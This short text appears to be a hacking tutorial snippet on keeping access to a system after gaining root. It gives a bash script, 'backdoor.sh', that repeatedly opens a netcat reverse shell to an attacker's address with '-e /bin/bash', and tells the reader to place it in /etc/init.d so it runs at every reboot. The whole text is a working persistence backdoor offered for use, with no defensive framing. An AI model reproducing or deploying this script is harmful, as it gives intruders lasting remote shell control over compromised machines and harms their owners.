It can be useful when attacker gained root access to the target system, and want to persistence access to it at every reboot. Backdoor code :
backdoor.sh
#!/bin/bash
while true
do
nc attacker_ip_address port_number -e /bin/bash
sleep 10
done
Put above code on
/etc/init.d and make it executable.